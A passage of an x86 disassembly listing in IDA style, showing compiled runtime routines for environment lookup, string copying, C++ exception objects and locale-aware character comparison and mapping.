[eax+esi*4+4], 0 loc_4262DA: ; CODE XREF: sub_4261AB+F8j mov dword_4DB980, eax loc_4262DF: ; CODE XREF: sub_4261AB+F6j ; sub_4261AB+100j cmp [ebp+arg_4], 0 jz short loc_42632B push [ebp+arg_0] call sub_41AFE0 inc eax inc eax push eax call sub_41B4D5 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_42632B push [ebp+arg_0] push esi call sub_41BEB0 mov eax, esi pop ecx sub eax, [ebp+arg_0] pop ecx add eax, [ebp+var_8] and byte ptr [eax], 0 inc eax neg ebx sbb ebx, ebx not ebx and ebx, eax push ebx push esi nop call near ptr 2600000h push esi call sub_41B0B1 pop ecx loc_42632B: ; CODE XREF: sub_4261AB+6Ej ; sub_4261AB+104j ... xor eax, eax jmp loc_426212 sub_4261AB endp ; =============== S U B R O U T I N E ======================================= sub_426332 proc near ; CODE XREF: sub_4261AB+B2p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, dword_4DB980 push edi mov eax, [esi] test eax, eax jz short loc_42636D mov edi, [esp+8+arg_4] loc_426344: ; CODE XREF: sub_426332+39j push edi push eax push [esp+10h+arg_0] call sub_425E56 add esp, 0Ch test eax, eax jnz short loc_426363 mov eax, [esi] mov al, [eax+edi] cmp al, 3Dh jz short loc_42637D test al, al jz short loc_42637D loc_426363: ; CODE XREF: sub_426332+22j mov eax, [esi+4] add esi, 4 test eax, eax jnz short loc_426344 loc_42636D: ; CODE XREF: sub_426332+Cj mov eax, esi sub eax, dword_4DB980 sar eax, 2 neg eax loc_42637A: ; CODE XREF: sub_426332+56j pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42637D: ; CODE XREF: sub_426332+2Bj ; sub_426332+2Fj mov eax, esi sub eax, dword_4DB980 sar eax, 2 jmp short loc_42637A sub_426332 endp ; =============== S U B R O U T I N E ======================================= sub_42638A proc near ; CODE XREF: sub_4261AB+3Fp arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor ecx, ecx test edi, edi jnz short loc_426399 xor eax, eax pop edi retn ; --------------------------------------------------------------------------- loc_426399: ; CODE XREF: sub_42638A+9j cmp dword ptr [edi], 0 lea eax, [edi+4] jz short loc_4263AB loc_4263A1: ; CODE XREF: sub_42638A+1Fj mov edx, [eax] inc ecx add eax, 4 test edx, edx jnz short loc_4263A1 loc_4263AB: ; CODE XREF: sub_42638A+15j push ebx push ebp lea eax, ds:4[ecx*4] push esi push eax call sub_41B4D5 mov esi, eax pop ecx test esi, esi mov ebp, esi jnz short loc_4263CC push 9 call sub_41DA29 pop ecx loc_4263CC: ; CODE XREF: sub_42638A+38j mov eax, [edi] mov ebx, edi loc_4263D0: ; CODE XREF: sub_42638A+5Bj test eax, eax jz short loc_4263E7 push eax add ebx, 4 call sub_426464 mov [esi], eax mov eax, [ebx] pop ecx add esi, 4 jmp short loc_4263D0 ; --------------------------------------------------------------------------- loc_4263E7: ; CODE XREF: sub_42638A+48j and dword ptr [esi], 0 mov eax, ebp pop esi pop ebp pop ebx pop edi retn sub_42638A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4263F1 proc near ; CODE XREF: sub_4261AB+14p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp dword_4DCDBC, 0 jnz short loc_42640C push [ebp+arg_4] push [ebp+arg_0] call sub_41BFB0 pop ecx pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_42640C: ; CODE XREF: sub_4263F1+Aj mov ecx, [ebp+arg_0] loc_42640F: ; CODE XREF: sub_4263F1+56j movzx ax, byte ptr [ecx] test ax, ax jz short loc_426452 movzx edx, al test byte_4DCEC1[edx], 4 jz short loc_42643E mov dl, [ecx+1] inc ecx test dl, dl jz short loc_426449 movzx eax, ax movzx edx, dl shl eax, 8 or eax, edx cmp [ebp+arg_4], eax jz short loc_42644D jmp short loc_426446 ; --------------------------------------------------------------------------- loc_42643E: ; CODE XREF: sub_4263F1+31j movzx edx, ax cmp [ebp+arg_4], edx jz short loc_426452 loc_426446: ; CODE XREF: sub_4263F1+4Bj inc ecx jmp short loc_42640F ; --------------------------------------------------------------------------- loc_426449: ; CODE XREF: sub_4263F1+39j xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_42644D: ; CODE XREF: sub_4263F1+49j lea eax, [ecx-1] pop ebp retn ; --------------------------------------------------------------------------- loc_426452: ; CODE XREF: sub_4263F1+25j ; sub_4263F1+53j movzx edx, ax mov eax, [ebp+arg_4] sub eax, edx neg eax sbb eax, eax not eax and eax, ecx pop ebp retn sub_4263F1 endp ; =============== S U B R O U T I N E ======================================= sub_426464 proc near ; CODE XREF: sub_417EEF+21p ; sub_42638A+4Ep arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_42648B push esi call sub_41AFE0 inc eax push eax call sub_41B4D5 pop ecx test eax, eax pop ecx jz short loc_42648B push esi push eax call sub_41BEB0 pop ecx pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_42648B: ; CODE XREF: sub_426464+7j ; sub_426464+1Aj xor eax, eax pop esi retn sub_426464 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_426490 proc near ; CODE XREF: sub_426573+19p ; sub_42669A+19p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx xor eax, eax mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax call sub_41AFE0 pop ecx push eax push [esp+8+arg_0] mov ecx, esi call sub_40D6F0 mov eax, esi pop esi retn 8 sub_426490 endp ; =============== S U B R O U T I N E ======================================= sub_4264BA proc near ; CODE XREF: ___:004264E5p ; sub_426568+6j ... push esi mov esi, ecx push 1 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427D04 call sub_40D6B4 mov ecx, esi pop esi jmp sub_4268B6 sub_4264BA endp ; =============== S U B R O U T I N E ======================================= sub_4264D5 proc near ; DATA XREF: ___:00427D08o ; ___:00427D18o ... mov eax, [ecx+10h] test eax, eax jnz short locret_4264E1 mov eax, offset dword_4276A0 locret_4264E1: ; CODE XREF: sub_4264D5+5j retn sub_4264D5 endp ; --------------------------------------------------------------------------- loc_4264E2: ; DATA XREF: ___:off_427D04o push esi mov esi, ecx call sub_4264BA test byte ptr [esp+8], 1 jz short loc_4264F8 push esi call sub_41CC83 pop ecx loc_4264F8: ; CODE XREF: ___:004264EFj mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_4264FE proc near ; CODE XREF: sub_426573+29p mov eax, offset loc_426E32 call sub_41CC64 push ecx push ecx push esi lea eax, [ebp-10h] mov esi, ecx push eax mov [ebp-14h], esi mov dword ptr [ebp-10h], offset dword_427D20 call sub_42682F push dword ptr [ebp+8] and dword ptr [ebp-4], 0 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427D04 call sub_4265B0 mov ecx, [ebp-0Ch] mov dword ptr [esi], offset off_427D14 mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_4264FE endp ; =============== S U B R O U T I N E ======================================= sub_42654C proc near ; DATA XREF: ___:off_427D14o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_426568 test [esp+4+arg_0], 1 jz short loc_426562 push esi call sub_41CC83 pop ecx loc_426562: ; CODE XREF: sub_42654C+Dj mov eax, esi pop esi retn 4 sub_42654C endp ; =============== S U B R O U T I N E ======================================= sub_426568 proc near ; CODE XREF: sub_42654C+3p ; DATA XREF: ___:0042808Co mov dword ptr [ecx], offset off_427D14 jmp sub_4264BA sub_426568 endp ; =============== S U B R O U T I N E ======================================= sub_426573 proc near ; CODE XREF: sub_40D561+13p ; sub_40D725+Ep mov eax, offset loc_426E44 call sub_41CC64 sub esp, 30h lea eax, [ebp-0Dh] push eax push offset aInvalidStringP ; "invalid string position" lea ecx, [ebp-20h] call sub_426490 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_4264FE push offset dword_428088 lea eax, [ebp-3Ch] push eax call sub_4268D9 int 3 ; Trap to Debugger sub_426573 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4265B0 proc near ; CODE XREF: sub_4264FE+32p ; sub_4265D0+32p ... arg_0 = dword ptr 4 push esi xor eax, eax push 0FFFFFFFFh mov esi, ecx push eax push [esp+0Ch+arg_0] mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax call sub_40D561 mov eax, esi pop esi retn 4 sub_4265B0 endp ; =============== S U B R O U T I N E ======================================= sub_4265D0 proc near ; CODE XREF: sub_42669A+29p mov eax, offset loc_426E56 call sub_41CC64 push ecx push ecx push esi lea eax, [ebp-10h] mov esi, ecx push eax mov [ebp-14h], esi mov dword ptr [ebp-10h], offset dword_427D20 call sub_42682F push dword ptr [ebp+8] and dword ptr [ebp-4], 0 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427D04 call sub_4265B0 mov ecx, [ebp-0Ch] mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_4265D0 endp ; =============== S U B R O U T I N E ======================================= sub_426618 proc near ; CODE XREF: sub_426682+7p ; sub_4266DE+7p ... mov eax, offset loc_426E68 call sub_41CC64 push ecx push esi push edi mov edi, [ebp+8] mov esi, ecx push edi mov [ebp-10h], esi call sub_42686C and dword ptr [ebp-4], 0 add edi, 0Ch push edi lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427D04 call sub_4265B0 mov ecx, [ebp-0Ch] pop edi mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_426618 endp ; =============== S U B R O U T I N E ======================================= sub_42665B proc near ; DATA XREF: ___:off_427D40o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_426677 test [esp+4+arg_0], 1 jz short loc_426671 push esi call sub_41CC83 pop ecx loc_426671: ; CODE XREF: sub_42665B+Dj mov eax, esi pop esi retn 4 sub_42665B endp ; =============== S U B R O U T I N E ======================================= sub_426677 proc near ; CODE XREF: sub_42665B+3p ; DATA XREF: ___:00428134o mov dword ptr [ecx], offset off_427D40 jmp sub_4264BA sub_426677 endp ; =============== S U B R O U T I N E ======================================= sub_426682 proc near ; CODE XREF: sub_4266F6+46p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_426618 mov dword ptr [esi], offset off_427D14 mov eax, esi pop esi retn 4 sub_426682 endp ; =============== S U B R O U T I N E ======================================= sub_42669A proc near ; CODE XREF: sub_40D4B1+15p ; sub_40D50A+15p ... mov eax, offset loc_426E7A call sub_41CC64 sub esp, 30h lea eax, [ebp-0Dh] push eax push offset aStringTooLong ; "string too long" lea ecx, [ebp-20h] call sub_426490 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_4265D0 push offset dword_428130 lea eax, [ebp-3Ch] push eax mov dword ptr [ebp-3Ch], offset off_427D40 call sub_4268D9 int 3 ; Trap to Debugger sub_42669A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4266DE proc near ; CODE XREF: sub_4266F6+28p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_426618 mov dword ptr [esi], offset off_427D40 mov eax, esi pop esi retn 4 sub_4266DE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_4266F6 proc near ; DATA XREF: ___:00427D0Co var_1C = byte ptr -1Ch push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_426618 push offset dword_428170 lea eax, [ebp+var_1C] push eax call sub_4268D9 int 3 ; Trap to Debugger loc_426714: ; DATA XREF: ___:00427D48o push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_4266DE push offset dword_428130 lea eax, [ebp+var_1C] push eax call sub_4268D9 int 3 ; Trap to Debugger loc_426732: ; DATA XREF: ___:00427D1Co push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_426682 push offset dword_428088 lea eax, [ebp+var_1C] push eax call sub_4268D9 int 3 ; Trap to Debugger sub_4266F6 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_426750 proc near nop jmp near ptr 71B2ACCBh sub_426750 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_426756 proc near ; CODE XREF: sub_40CE41+5Ep ; ___:00414BE6p ... jmp near ptr 71AB1B7Bh sub_426756 endp ; --------------------------------------------------------------------------- db 39h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42675C proc near ; CODE XREF: sub_41C8D0+23p ; sub_41CB74+13p nop jmp near ptr 28A0000h sub_42675C endp ; =============== S U B R O U T I N E ======================================= sub_426762 proc near ; CODE XREF: sub_417276+E2p ; sub_417276+F9p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp dword_4DBA14, 0 push ebx jnz short loc_4267A8 mov edx, [esp+4+arg_4] mov ecx, [esp+4+arg_0] loc_426774: ; CODE XREF: sub_426762+42j mov bx, [ecx] cmp bx, 5Ah ja short loc_426786 cmp bx, 41h jb short loc_426786 add ebx, 20h loc_426786: ; CODE XREF: sub_426762+19j ; sub_426762+1Fj mov ax, [edx] cmp ax, 5Ah ja short loc_426798 cmp ax, 41h jb short loc_426798 add eax, 20h loc_426798: ; CODE XREF: sub_426762+2Bj ; sub_426762+31j inc ecx inc ecx inc edx inc edx test bx, bx jz short loc_4267D8 cmp bx, ax jz short loc_426774 jmp short loc_4267D8 ; --------------------------------------------------------------------------- loc_4267A8: ; CODE XREF: sub_426762+8j push esi mov esi, [esp+8+arg_0] push edi mov edi, [esp+0Ch+arg_4] loc_4267B2: ; CODE XREF: sub_426762+72j mov ax, [esi] inc esi push eax inc esi call sub_426913 mov ebx, eax mov ax, [edi] inc edi push eax inc edi call sub_426913 pop ecx test bx, bx pop ecx jz short loc_4267D6 cmp bx, ax jz short loc_4267B2 loc_4267D6: ; CODE XREF: sub_426762+6Dj pop edi pop esi loc_4267D8: ; CODE XREF: sub_426762+3Dj ; sub_426762+44j movzx ecx, ax movzx eax, bx sub eax, ecx pop ebx retn sub_426762 endp ; =============== S U B R O U T I N E ======================================= sub_4267E2 proc near ; CODE XREF: ___:004267FAp mov dword ptr [ecx], offset off_427D60 mov ecx, [ecx+4] test ecx, ecx jz short locret_4267F6 push ecx call sub_41B0B1 pop ecx locret_4267F6: ; CODE XREF: sub_4267E2+Bj retn sub_4267E2 endp ; --------------------------------------------------------------------------- loc_4267F7: ; DATA XREF: ___:off_427D60o push esi mov esi, ecx call sub_4267E2 test byte ptr [esp+8], 1 jz short loc_42680D push esi call sub_41CC83 pop ecx loc_42680D: ; CODE XREF: ___:00426804j mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- loc_426813: ; DATA XREF: ___:off_427D68o push esi mov esi, ecx call sub_4268B6 test byte ptr [esp+8], 1 jz short loc_426829 push esi call sub_41CC83 pop ecx loc_426829: ; CODE XREF: ___:00426820j mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_42682F proc near ; CODE XREF: sub_4264FE+1Dp ; sub_4265D0+1Dp arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_427D68 push dword ptr [edi] call sub_41AFE0 inc eax push eax call sub_41CFC5 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_42685E push dword ptr [edi] push eax call sub_41BEB0 pop ecx pop ecx loc_42685E: ; CODE XREF: sub_42682F+23j mov dword ptr [esi+8], 1 mov eax, esi pop edi pop esi retn 4 sub_42682F endp ; =============== S U B R O U T I N E ======================================= sub_42686C proc near ; CODE XREF: sub_426618+16p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_427D68 mov eax, [edi+8] test eax, eax mov [esi+8], eax jz short loc_4268A9 push dword ptr [edi+4] call sub_41AFE0 inc eax push eax call sub_41CFC5 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_4268AF push dword ptr [edi+4] push eax call sub_41BEB0 pop ecx pop ecx jmp short loc_4268AF ; --------------------------------------------------------------------------- loc_4268A9: ; CODE XREF: sub_42686C+16j mov eax, [edi+4] mov [esi+4], eax loc_4268AF: ; CODE XREF: sub_42686C+2Ej ; sub_42686C+3Bj mov eax, esi pop edi pop esi retn 4 sub_42686C endp ; =============== S U B R O U T I N E ======================================= sub_4268B6 proc near ; CODE XREF: sub_4264BA+16j ; ___:00426816p ... cmp dword ptr [ecx+8], 0 mov dword ptr [ecx], offset off_427D68 jz short locret_4268CB push dword ptr [ecx+4] call sub_41CC83 pop ecx locret_4268CB: ; CODE XREF: sub_4268B6+Aj retn sub_4268B6 endp ; =============== S U B R O U T I N E ======================================= sub_4268CC proc near ; DATA XREF: ___:00427D6Co mov eax, [ecx+4] test eax, eax jnz short locret_4268D8 mov eax, offset aUnknownExcepti ; "Unknown exception" locret_4268D8: ; CODE XREF: sub_4268CC+5j retn sub_4268CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4268D9 proc near ; CODE XREF: sub_426573+37p ; sub_42669A+3Ep ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push edi push 8 pop ecx mov esi, offset dword_427D88 lea edi, [ebp+var_20] rep movsd mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_4], eax lea eax, [ebp+var_C] push eax push [ebp+var_10] push [ebp+var_1C] push [ebp+var_20] nop call near ptr 26903E1h pop edi pop esi leave retn 8 sub_4268D9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426913 proc near ; CODE XREF: sub_426762+56p ; sub_426762+63p var_2 = word ptr -2 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp ax, 0FFFFh jnz short loc_426925 or ax, ax leave retn ; --------------------------------------------------------------------------- loc_426925: ; CODE XREF: sub_426913+Bj cmp dword_4DBA14, 0 jnz short loc_42693F cmp ax, 41h jb short locret_426986 cmp ax, 5Ah ja short locret_426986 add eax, 20h leave retn ; --------------------------------------------------------------------------- loc_42693F: ; CODE XREF: sub_426913+19j cmp ax, 100h jnb short loc_426959 push 1 push eax call sub_426BC1 pop ecx test eax, eax pop ecx jnz short loc_426959 mov ax, word ptr [ebp+arg_0] leave retn ; --------------------------------------------------------------------------- loc_426959: ; CODE XREF: sub_426913+30j ; sub_426913+3Ej push 0 lea eax, [ebp+var_2] push 1 push eax lea eax, [ebp+arg_0] push 1 push eax push 100h push dword_4DBA14 call sub_426988 add esp, 1Ch test eax, eax mov ax, word ptr [ebp+arg_0] jz short locret_426986 mov ax, [ebp+var_2] locret_426986: ; CODE XREF: sub_426913+1Fj ; sub_426913+25j ... leave retn sub_426913 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426988 proc near ; CODE XREF: sub_426913+5Fp var_2C = dword ptr -2Ch var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427DA8 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor esi, esi cmp dword_4DBC6C, esi jnz short loc_4269FE push esi push esi push 1 pop ebx push ebx push offset dword_427938 mov edi, 100h push edi push esi call near ptr 2670000h nop test eax, eax jz short loc_4269DC mov dword_4DBC6C, ebx jmp short loc_4269FE ; --------------------------------------------------------------------------- loc_4269DC: ; CODE XREF: sub_426988+4Aj push esi push esi push ebx push offset dword_4CB50C push edi push esi nop call near ptr 2680000h test eax, eax jz loc_426B7D mov dword_4DBC6C, 2 loc_4269FE: ; CODE XREF: sub_426988+2Ej ; sub_426988+52j cmp [ebp+arg_C], esi jle short loc_426A13 push [ebp+arg_C] push [ebp+arg_8] call sub_426B91 pop ecx pop ecx mov [ebp+arg_C], eax loc_426A13: ; CODE XREF: sub_426988+79j mov eax, dword_4DBC6C cmp eax, 1 jnz short loc_426A3A push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2670000h jmp loc_426B7F ; --------------------------------------------------------------------------- loc_426A3A: ; CODE XREF: sub_426988+93j cmp eax, 2 jnz loc_426B7D cmp [ebp+arg_18], esi jnz short loc_426A50 mov eax, dword_4DBA24 mov [ebp+arg_18], eax loc_426A50: ; CODE XREF: sub_426988+BEj push esi push esi push esi push esi push [ebp+arg_C] push [ebp+arg_8] push 220h push [ebp+arg_18] nop call near ptr 2850000h mov [ebp+var_20], eax cmp eax, esi jz loc_426B7D mov [ebp+var_4], esi add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_1C], eax jmp short loc_426A96 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor esi, esi mov [ebp+var_1C], esi loc_426A96: ; CODE XREF: sub_426988+100j or [ebp+var_4], 0FFFFFFFFh cmp [ebp+var_1C], esi jz loc_426B7D push esi push esi push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_C] push [ebp+arg_8] push 220h push [ebp+arg_18] call near ptr 2850000h nop test eax, eax jz loc_426B7D push esi push esi push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2680000h mov edi, eax mov [ebp+var_2C], edi cmp edi, esi jz loc_426B7D mov [ebp+var_4], 1 add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_24], ebx or [ebp+var_4], 0FFFFFFFFh jmp short loc_426B19 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor esi, esi xor ebx, ebx or [ebp+var_4], 0FFFFFFFFh mov edi, [ebp+var_2C] loc_426B19: ; CODE XREF: sub_426988+17Dj cmp ebx, esi jz short loc_426B7D push edi push ebx push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2680000h test eax, eax jz short loc_426B7D test byte ptr [ebp+arg_4+1], 4 jz short loc_426B57 mov eax, [ebp+arg_14] cmp eax, esi jz short loc_426B79 cmp eax, edi jl short loc_426B48 mov eax, edi loc_426B48: ; CODE XREF: sub_426988+1BCj push eax push ebx push [ebp+arg_10] call sub_41B5F0 add esp, 0Ch jmp short loc_426B79 ; --------------------------------------------------------------------------- loc_426B57: ; CODE XREF: sub_426988+1B1j cmp [ebp+arg_14], esi jnz short loc_426B60 push esi push esi jmp short loc_426B66 ; --------------------------------------------------------------------------- loc_426B60: ; CODE XREF: sub_426988+1D2j push [ebp+arg_14] push [ebp+arg_10] loc_426B66: ; CODE XREF: sub_426988+1D6j push edi push ebx push 1 push [ebp+arg_18] nop call near ptr 2860000h mov edi, eax cmp edi, esi jz short loc_426B7D loc_426B79: ; CODE XREF: sub_426988+1B8j ; sub_426988+1CDj mov eax, edi jmp short loc_426B7F ; --------------------------------------------------------------------------- loc_426B7D: ; CODE XREF: sub_426988+66j ; sub_426988+B5j ... xor eax, eax loc_426B7F: ; CODE XREF: sub_426988+ADj ; sub_426988+1F3j lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_426988 endp ; =============== S U B R O U T I N E ======================================= sub_426B91 proc near ; CODE XREF: sub_426988+81p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_426BB0 loc_426BA1: ; CODE XREF: sub_426B91+1Dj cmp word ptr [eax], 0 jz short loc_426BB0 inc eax mov esi, ecx inc eax dec ecx test esi, esi jnz short loc_426BA1 loc_426BB0: ; CODE XREF: sub_426B91+Ej ; sub_426B91+14j cmp word ptr [eax], 0 pop esi jnz short loc_426BBE sub eax, [esp+arg_0] sar eax, 1 retn ; --------------------------------------------------------------------------- loc_426BBE: ; CODE XREF: sub_426B91+24j mov eax, edx retn sub_426B91 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426BC1 proc near ; CODE XREF: sub_426913+35p var_4 = dword ptr -4 arg_0 = word ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0FFFFh jz short loc_426C01 cmp [ebp+arg_0], 100h jnb short loc_426BE5 movzx eax, [ebp+arg_0] mov ecx, off_43C9DC mov ax, [ecx+eax*2] jmp short loc_426C08 ; --------------------------------------------------------------------------- loc_426BE5: ; CODE XREF: sub_426BC1+12j push 0 lea eax, [ebp+var_4] push 0 push eax lea eax, [ebp+arg_0] push 1 push eax push 1 call sub_426C13 add esp, 18h test eax, eax jnz short loc_426C05 loc_426C01: ; CODE XREF: sub_426BC1+Aj xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_426C05: ; CODE XREF: sub_426BC1+3Ej mov eax, [ebp+var_4] loc_426C08: ; CODE XREF: sub_426BC1+22j movzx ecx, [ebp+arg_4] movzx eax, ax and eax, ecx leave retn sub_426BC1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426C13 proc near ; CODE XREF: sub_426BC1+34p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427DC0 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp mov eax, dword_4DBC70 xor edi, edi cmp eax, edi jnz short loc_426C82 lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_427938 push esi nop call near ptr 2630000h test eax, eax jz short loc_426C60 mov eax, esi jmp short loc_426C7D ; --------------------------------------------------------------------------- loc_426C60: ; CODE XREF: sub_426C13+47j lea eax, [ebp+var_1C] push eax push esi push offset dword_4CB50C push esi push edi nop call near ptr 2640000h test eax, eax jz loc_426DC4 push 2 pop eax loc_426C7D: ; CODE XREF: sub_426C13+4Bj mov dword_4DBC70, eax loc_426C82: ; CODE XREF: sub_426C13+2Fj cmp eax, 1 jnz short loc_426C9E push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call near ptr 2630000h nop jmp loc_426DC6 ; --------------------------------------------------------------------------- loc_426C9E: ; CODE XREF: sub_426C13+72j cmp eax, 2 jnz loc_426DC4 cmp [ebp+arg_10], edi jnz short loc_426CB4 mov eax, dword_4DBA24 mov [ebp+arg_10], eax loc_426CB4: ; CODE XREF: sub_426C13+97j push edi push edi push edi push edi push [ebp+arg_8] push [ebp+arg_4] push 220h push [ebp+arg_10] call near ptr 2850000h nop mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz loc_426DC4 mov [ebp+var_4], edi add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_2C], eax push esi push edi push eax call sub_41B590 add esp, 0Ch or [ebp+var_4], 0FFFFFFFFh jmp short loc_426D12 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_2C], edi or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_426D12: ; CODE XREF: sub_426C13+EAj cmp [ebp+var_2C], edi jz loc_426DC4 push edi push edi push esi push [ebp+var_2C] push [ebp+arg_8] push [ebp+arg_4] push 220h push [ebp+arg_10] nop call near ptr 2850000h test eax, eax jz loc_426DC4 mov [ebp+var_4], 1 lea eax, [esi+esi+2] add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_24], ebx jmp short loc_426D67 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx loc_426D67: ; CODE XREF: sub_426C13+147j or [ebp+var_4], 0FFFFFFFFh cmp ebx, edi jz short loc_426DC4 mov eax, [ebp+arg_14] cmp eax, edi jnz short loc_426D7B mov eax, dword_4DBA14 loc_426D7B: ; CODE XREF: sub_426C13+161j mov ecx, [ebp+arg_8] lea edi, [ecx+ecx] lea esi, [edi+ebx] or word ptr [esi], 0FFFFh or word ptr [esi-2], 0FFFFh push ebx push [ebp+var_28] push [ebp+var_2C] push [ebp+arg_0] push eax call near ptr 2640000h nop mov [ebp+var_20], eax cmp word ptr [esi-2], 0FFFFh jz short loc_426DC4 cmp word ptr [esi], 0FFFFh jnz short loc_426DC4 push edi push ebx push [ebp+arg_C] call sub_41CC90 add esp, 0Ch mov eax, [ebp+var_20] jmp short loc_426DC6 ; --------------------------------------------------------------------------- loc_426DC4: ; CODE XREF: sub_426C13+61j ; sub_426C13+8Ej ... xor 